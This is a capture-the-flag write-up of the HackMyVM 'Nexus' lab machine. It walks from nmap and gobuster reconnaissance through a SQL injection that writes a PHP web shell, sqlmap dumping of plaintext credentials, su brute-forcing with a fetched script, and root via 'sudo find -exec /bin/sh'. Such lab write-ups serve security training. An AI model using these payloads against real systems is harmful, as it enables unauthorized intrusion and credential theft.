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Nexus HackMyVM (English)

Nexus HackMyVM Machine [Difuculty easy]

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By Juan Belinchón
5 min read
Nexus HackMyVM (English)

Introduction

N/A

Machine Description

  • Name: Nexus
  • Goal: Get two flags
  • Difficulty: easy
  • Operating System: Linux
  • link: Nexus

Reconnaissance

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❯ sudo nmap -sS --min-rate 5000 -p- --open -n -Pn 192.168.1.14 -oN scan1.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-10 15:18 CEST
Nmap scan report for 192.168.1.14
Host is up (0.12s latency).
Not shown: 52392 filtered tcp ports (no-response), 13141 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: F8:B5:4D:EC:75:E3 (Intel Corporate)

Nmap done: 1 IP address (1 host up) scanned in 38.98 seconds

Nmap report us the port 22 and 80, lets try further information

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❯ nmap -sCV -p80,22 192.168.1.14 -oN scan2.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-10 15:20 CEST
Nmap scan report for NexusLabCTF.home (192.168.1.14)
Host is up (0.0061s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 48:42:7a:cf:38:19:20:86:ea:fd:50:88:b8:64:36:46 (ECDSA)
|_  256 9d:3d:85:29:8d:b0:77:d8:52:c2:81:bb:e9:54:d4:21 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.60 seconds

At the web page we get this creppy stuff. So for now what we can do is fuzz and add the domain that nmap reported us in /etc/hosts

What we can do now is start fuzzing for directories and files

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❯ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.14 -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.14
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 825]
/.php                 (Status: 403) [Size: 277]
/login.php            (Status: 200) [Size: 352]
/index2.php           (Status: 200) [Size: 75134]

We see a index2.php and we see this beauty page where I find a login page

Explotation

Trying in this web page it is vulnerable to SQLI (blind)

I decided to get a shell since the target is Linux and is using php:

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test' union select 1,2,"<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/cmd.php" -- -

Privilage escalation

Once in, we can see the existence of shelly user

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www-data@NexusLabCTF:/home$ ls -la
total 12
drwxr-xr-x  3 root   root   4096 Mar 28 16:18 .
drwxr-xr-x 18 root   root   4096 Mar 28 16:10 ..
drwx------  4 shelly shelly 4096 May  8 22:51 shelly

We can try to brute for it using suBF.sh

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❯ cp /usr/share/wordlists/rockyou.txt .
❯ ls
 n   rockyou.txt   scan1.txt   scan2.txt   shell.sh
❯ wget https://raw.githubusercontent.com/carlospolop/su-bruteforce/refs/heads/master/suBF.sh .
--2025-06-10 15:48:32--  https://raw.githubusercontent.com/carlospolop/su-bruteforce/refs/heads/master/suBF.sh
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2340 (2.3K) [text/plain]
Saving to: ‘suBF.sh’

suBF.sh                     100%[==========================================>]   2.29K  --.-KB/s    in 0.01s   

2025-06-10 15:48:32 (195 KB/s) - ‘suBF.sh’ saved [2340/2340]

Prepended http:// to '.'
--2025-06-10 15:48:32--  http://./
Resolving . (.)... failed: No address associated with hostname.
wget: unable to resolve host address ‘.’
FINISHED --2025-06-10 15:48:32--
Total wall clock time: 0.3s
Downloaded: 1 files, 2.3K in 0.01s (195 KB/s)

I copy the files to my directory and using python I start a http server in order to share those files

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www-data@NexusLabCTF:/tmp$ wget http://192.168.1.18/suBF.sh
--2025-06-10 15:50:22--  http://192.168.1.18/suBF.sh
Connecting to 192.168.1.18:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2340 (2.3K) [application/x-sh]
Saving to: 'suBF.sh'

suBF.sh             100%[===================>]   2.29K  --.-KB/s    in 0.001s  

2025-06-10 15:50:22 (1.63 MB/s) - 'suBF.sh' saved [2340/2340]

www-data@NexusLabCTF:/tmp$ wget http://192.168.1.18/rockyou.txt
--2025-06-10 15:50:29--  http://192.168.1.18/rockyou.txt
Connecting to 192.168.1.18:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 139921497 (133M) [text/plain]
Saving to: 'rockyou.txt'

rockyou.txt         100%[===================>] 133.44M  2.33MB/s    in 62s     

2025-06-10 15:51:31 (2.15 MB/s) - 'rockyou.txt' saved [139921497/139921497]

Once we got the files in the target machines using wget we can start brute forcing.

In an attemp to bruteforce shelly I didn’t get nothing so go back to the login page.

SInce is a SQL Blind injection I’m going to dump the databases using sqlmap in order to do it quickly

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sqlmap http://192.168.1.14/auth-login.php --form --dbs --batch

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available databases [6]:
[*] information_schema
[*] mysql
[*] Nebuchadnezzar
[*] performance_schema
[*] sion
[*] sys

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sqlmap http://192.168.1.14/auth-login.php --form -D Nebuchadnezzar --tables --batch

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[1 table]
+-------+
| users |
+-------+

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sqlmap http://192.168.1.14/auth-login.php --form -D Nebuchadnezzar -T users --columns --batch

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Database: Nebuchadnezzar
Table: users
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(11)      |
| password | varchar(255) |
| username | varchar(50)  |
+----------+--------------+

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sqlmap http://192.168.1.14/auth-login.php --form -D Nebuchadnezzar -T users -C id,password,username --dump --batch

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Database: Nebuchadnezzar
Table: users
[2 entries]
+----+--------------------+----------+
| id | password           | username |
+----+--------------------+----------+
| 1  | F4ckTh3F4k3H4ck3r5 | shelly   |
| 2  | cambiame2025       | admin    |
+----+--------------------+----------+

We’ve got the shelly’s password.

Once as shelly we can execute find as sudo so lets search in gtfobins and get the root:

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shelly@NexusLabCTF:~/SA$ sudo -l
Matching Defaults entries for shelly on NexusLabCTF:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    env_keep+=LD_PRELOAD, use_pty

User shelly may run the following commands on NexusLabCTF:
    (ALL) NOPASSWD: /usr/bin/find

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    sudo find . -exec /bin/sh \; -quit

# id
uid=0(root) gid=0(root) grupos=0(root)
CTF, HackMyVm
hacking easy
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